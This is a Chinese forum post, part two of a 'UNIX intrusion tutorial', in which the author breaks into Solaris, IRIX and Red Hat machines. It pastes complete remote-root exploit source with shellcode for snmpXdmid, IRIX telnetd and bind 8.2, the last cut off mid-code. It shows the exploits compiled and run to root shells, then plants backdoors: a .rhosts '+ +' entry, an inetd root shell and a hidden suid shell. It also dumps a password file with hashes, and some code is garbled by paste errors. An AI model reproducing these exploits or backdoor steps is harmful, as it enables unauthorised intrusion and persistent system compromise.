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作者 主题: UNIX入侵教程（下）[分享] 回复 | 收藏 | 打印 | 篇末
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注册日期：2002-02-11
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第二天：


嘿嘿，大家早上好~
今天上班好象有任务要分配，我先去问问。
稍等…

真惨，分配了任务。
不过，是从下个星期开始做。：）
所以今天就写教程吧。
不知道今天能不能写完这份教程呢。
我们继续。：）
昨天讲述了本地提升权限的方法，今天我们来说说远程溢出的利用。
几乎各种操作系统都有严重的远程溢出漏洞。
常见的有：
Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6 的rpc.ttdbserverd
Solaris 2.5, 2.5.1, 2.6, 7 的 rpc.cmsd
solaris 2.6, 7 的 sadmind
Solaris 7, 8 的 snmpXdmid
Redhat 6.0, 5.1, 4.0 的Amd
Redhat 6.2, 6.1, 6.0 的 rpc.statd
Redhat 7.0 的 LPRng
…
其它的系统就不在列举了。
除了系统本身存在问题外，还有一些第三方程序存在问题。
比如常见的FTP服务器Wu-ftp，版本2.6.0及以下都存在严重的远程溢出问题
比如DNS 服务器 bind，版本8.2.2及以下版本都存在严重的远程溢出问题。
…
可以利用的东西太多了，而要掌握这些则需要时间，需要靠经验的积累。
等经验丰富后，入侵一个简单的系统，只要得到对方的系统版本，然后扫描一下端口就足够了。因为这时候你已经对各种系统和守护进程的弱点有了很详细的了解。


我们这次来尝试进入一台 Solaris 8的机器。


-------------------------------------------------test--------------------------------------------------------------
C:\>telnet 192.168.0.2

SunOS 5.7

login: login: delex
Password:
*********************************************************

# The JRun is now replaced by JServ
# To restart the servlet server, please use

rs.sh

# However, as the JServ will reload those classes
# inside the "/usr/proj/gipex/class", you just
# need to remove the old class with the new one.

*********************************************************
$ w
9:21am up 61 day(s), 18:42, 2 users, load average: 0.03, 0.04, 0.05
User tty login@ idle JCPU PCPU what
root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u
root pts/4 Fri 4pm 6days tail -f syslog
delex pts/6 9:21am w
$ls –al /usr/lib/…
total 202
drwxrwxr-x 2 root staff 512 Jul 5 10:22 .
drwxrwxr-x 46 root bin 10240 Jul 4 19:21 ..
-r-sr-sr-x 1 root staff 91668 Jul 5 10:22 .x
$ id
uid=1035(delex) gid=20(staff)
$ /usr/lib/.../.x (***运行昨天留下的本地后门直接获得root权限***)
# id
uid=1035(delex) gid=20(staff) euid=0(root)
# cd /tmp
# ls –al (***昨天的程序都忘了删呢，走得太急啦，不知道还在不在呢***)
total 1410
drwxrwxrwt 7 sys sys 1236 Jul 5 10:20 .
drwxrwxrwx 35 root root 1024 Jul 4 19:15 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset (***HOHO~**)
-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test
-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
# cat > snmp.c (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_snmpxdmid ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101

char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* s "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");

if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){
switch(c){
case ‘p‘: port=atoi(optarg);break;
case ‘v‘: vers=atoi(optarg);
}
}
switch(vers){
case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}

*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);

adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,((‘S‘<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,((‘T‘<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);

findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);

b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;

b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];

stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");

write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D

# gcc -o snmp snmp.c
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
Undefined first referenced
symbol in file
xdr_void /var/tmp/cca3rEDd.o
clnttcp_create /var/tmp/cca3rEDd.o
gethostbyname /var/tmp/cca3rEDd.o
xdr_bool /var/tmp/cca3rEDd.o
xdr_u_long /var/tmp/cca3rEDd.o
authsys_create /var/tmp/cca3rEDd.o
inet_addr /var/tmp/cca3rEDd.o
clnt_pcreateerror /var/tmp/cca3rEDd.o
xdr_array /var/tmp/cca3rEDd.o
getsockname /var/tmp/cca3rEDd.o
xdr_char /var/tmp/cca3rEDd.o
xdr_pointer /var/tmp/cca3rEDd.o
ld: fatal: Symbol referencing errors. No output written to snmp (***编译失败***)
collect2: ld returned 1 exit status
# gcc -o snmp snmp.c –lnsl
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
Undefined first referenced
symbol in file
getsockname /var/tmp/ccBaS71K.o
ld: fatal: Symbol referencing errors. No output written to snmp
collect2: ld returned 1 exit status
# gcc -o snmp snmp.c -lnsl –lsocket （***要利用nsl和socket的库进行编译***）
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

usage: ./snmp address [-p port] -v 7|8
#./snmp 192.168.0.4 –v 8 (***192.168.0.4 是台sunos 5.8 sparc的机器***)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
id
uid=0(root) gid=0(root)
echo “+ +” >/.rhosts
echo ‘ingreslock stream tcp nowait root /bin/ksh ksh -i‘ > /tmp/.x
/usr/sbin/inetd -s /tmp/.x
rm -f /tmp/.x
telnet localhost 1524
Trying 127.0.0.1...
Connected to localhost. Escape character is ‘^]‘.
# id
ksh: id^M: not found
# id;
uid=0(root) gid=0(root)
ksh: ^M: not found
# exit;
Connection closed by foreign host.
Exit (***随便装个后门走人***)
#
-------------------------------------------------test--------------------------------------------------------------


SunOS 5.6 5.7 5.8的机器都有了，找找其他系统吧。
什么系统最破呢？
Win2000？
呵呵，我说的是UNIX系列。
告诉大家，IRIX最破~
HOHO~
记得昨天就扫到一台IRIX的破机器呢，我们接着来干掉它~


-------------------------------------------------test--------------------------------------------------------------
# telnet 192.168.0.10
Trying 192.168.0.10...
Connected to 192.168.0.10.
Escape character is ‘^]‘.


IRIX (O2)

login: test
Password:
UX:login: ERROR: Login incorrect
login:^]
telnet> quit
Connection closed.
#cat > telnetd.c (***源程序在http://lsd-pl.net/files/get?IRIX/irx_telnetd ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;

typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

tabent1_t tab1[]={
{ "IRIX 6.2 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.3 libc.so.1: no patches telnetd: { "IRIX 6.3 libc.so.1: 2087 telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " },
{ "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " },
{ "IRIX 6.5.8f telnetd: no patches " }
};

tabent2_t tab2[]={
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
{ 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c },
{ 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c }
};

char env_value[1024];

int prepare_env(int vers){
int i,adr,pch,adrh,adrl;
char *b;

pch=tab2[vers].got+(tab2[vers].g_ofs*4);
adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
adrh=(adr>>16)-tab2[vers].len;
adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

b=env_ if(!tab2[vers].flg){
for(i=0;i<1;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=‘ ‘;
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
}else{
for(i=0;i<5;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=‘ ‘;
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
}
b+=strlen(b);
return(b-env_value);
}

main(int argc,char **argv){
char buffer[8192];
int i,c,sck,il,ih,cnt,vers=65;
struct hostent *hp;
struct sockaddr_in adr;

printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/\n");
printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

if(argc<2){
printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"sc:v:"))!=-1){
switch(c){
case ‘v‘: vers=atoi(optarg);
}
}

switch(vers){
case 62: il=0;ih=5; break;
case 63: il=6;ih=8; break;
case 64: il=9;ih=10; break;
case 65: il=11;ih=12; break;
default: exit(-1);
}

for(i=il;i<=ih;i++){
printf(".");fflush(stdout);
sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(23);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
perror("error");exit(-1);
}

cnt=prepare_env(i);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
sleep(1);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);

if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
printf("warning: telnetd seems to be used with tcp wrapper\n");
}

write(sck,"/bin/uname -a\n",14);
if((cnt=read(sck,buffer,sizeof(buffer)))>0){
printf("\n%s\n\n",tab1[i].vers);
write(1,buffer,cnt);
break;
}
close(sck);
}
if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D

# gcc -o telnetd telnetd.c
telnetd.c:33: parse error before ****IRIX‘
telnetd.c:37: malformed floating constant
telnetd.c:37: nondigits in number and not hexadecimal
telnetd.c:37: malformed floating constant
telnetd.c:38: malformed floating constant
telnetd.c:77: nondigits in number and not hexadecimal
… (***因为粘贴文本出错，一大堆出错信息***)
# vi telnetd.c (***只好用vi来编辑程序***)
"telnetd.c" [New file]
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
…
（***重新粘贴一遍***）
…
"telnetd.c" [New file] 188 lines, 6738 characters
# gcc -o telnetd telnetd.c
Undefined first referenced
symbol in file
socket /var/tmp/ccuoeAph.o
gethostbyname /var/tmp/ccuoeAph.o
inet_addr /var/tmp/ccuoeAph.o
connect /var/tmp/ccuoeAph.o
ld: fatal: Symbol referencing errors. No output written to telnetd
collect2: ld returned 1 exit status
# gcc -o telnetd telnetd.c -lsocket -lnsl
# ./telnetd
copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

usage: ./telnetd address [-v 62|63|64|65]
# ./telnetd 192.168.0.10 -v 65
copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

.
IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches

IRIX O2 6.5 05190004 IP32 (***溢出成功啦***)
id
uid=0(root) gid=0(sys)
cat /etc/passwd
root:mmanI4kyarAEA:0:0uper-User:/:/usr/bin/tcsh
sysadm:*:0:0ystem V Administration:/usr/admin:/bin/sh
cmwlogin:*:0:994:CMW Login UserID:/usr/CMW:/sbin/csh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1aemons:/:/dev/null
bin:*:2:2ystem Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0ystem Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9rint Spooler Owner:/var/spool/lp:/bin/sh ***不少人进来过呢
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico *
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0ecurity Database Owner:/dbadmin:/bin/sh
sgiweb:*:13:60001GI Web Applications:/var/www/htdocs:/bin/csh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
EZsetup::992:998ystem Setup:/var/sysadmdesktop/EZsetup:/bin/csh *
demos::993:997emonstration User:/usr/demos:/bin/csh *
OutOfBox::995:997ut of Box Experience:/usr/people/OutOfBox:/bin/csh *
guest::998:998:Guest Account:/usr/people/guest:/bin/csh *
4Dgifts:*:999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
nobody:*:60001:60001VR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:60001:60001riginal nobody uid:/dev/null:/dev/null
informix:*:49999:777:Informix SA 3.0:/usr/sgi/informix:/bin/csh
posuser:gyo7hUq9BFNYE:55555:20:::
antoni:zUzbvPoZ6HC4g:23117:20:antoniWang:/usr/people/antoni:/bin/csh
#mkdir /usr/lib/... （***有这么多用户可以登陆，我们做个suid root shell就可以啦。***）
cp /bin/ksh /usr/lib/.../.x
chmod +s /usr/lib/.../.x
exit
#
-------------------------------------------------test--------------------------------------------------------------


在SunOS 5.7平台下攻击IRIX 6.5 系统成功完成。：）
我们来找几台Linux 玩玩。找Redhat吧，漏洞多一些，比如rpc.statd wuftp bind lpd等。：P
我们同样以这个SunOs 5.7做为我们攻击Linux的平台。Lsd写的exploit通用性真不错。
这次我们用bind远程溢出来攻击redhat 6.2
不过因为前段时间的worm，bind的成功率已经很小啦。
大家可以试试其它的远程溢出~~


-------------------------------------------------test--------------------------------------------------------------
#cat > bind.c (***源程序在http://lsd-pl.net/files/get?LINUX/linx86_bind ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
"\x3f" /* label len 63 */
"\x90\x90\x90" /* padding */

"\xeb\x3b" /* jmp <findsckcode+60+1> */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x5f" /* popl %edi */
"\x83\xef\x7c" /* sub $0x7c,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x7,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+58> */
"\x66\xbb\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x5e\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x08" /* je <findsckcode+65+1> */
"\xe2\xe0" /* loop <findsckcode+28> */

"\x3f" /* label len 63 */

"\xe8\xc0\xff\xff\xff" /* call <findsckcode+2> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx "\xe2\xf6" /* loop <findsckcode+76> */

"\xeb\x14" /* jmp <shellcode+22> */
"\x31\xc0" /* xorl %eax,%eax */
"\x5b" /* popl %ebx */
"\x8d\x4b\x14" /* leal 0x14(%ebx),%ecx */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x89\x43\x18" /* movl %eax,0x18(%ebx) */
"\x88\x43\x07" /* movb %al,0x7(%ebx) */
"\x31\xd2" /* xorl %edx,%edx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe7\xff\xff\xff" /* call <shellcode+2> */
"/bin/sh"

"\x90\x90\x90\x90" /* padding */
"\x90\x90\x90\x90"
;

int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
char buffer[1024],*b;
int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
struct hostent *hp;
struct sockaddr_in adr;

printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/\n");
printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n");

if(argc<2){
printf("usage: %s address [-s][-e]\n",argv[0]);
printf(" -s send infoleak packet\n");
printf(" -e send exploit packet\n");
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"se"))!=-1){
switch(c){
case ‘s‘: flag=1;break;
case ‘e‘: flag=2;
}
}
if(flag==-1) exit(-1);

adr.sin_family=AF_INET;
adr.sin_port=htons(53);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;goto err;
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck[0]=socket(AF_INET,SOCK_DGRAM,0);
sck[1]=socket(AF_INET,SOCK_STREAM,0);

if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
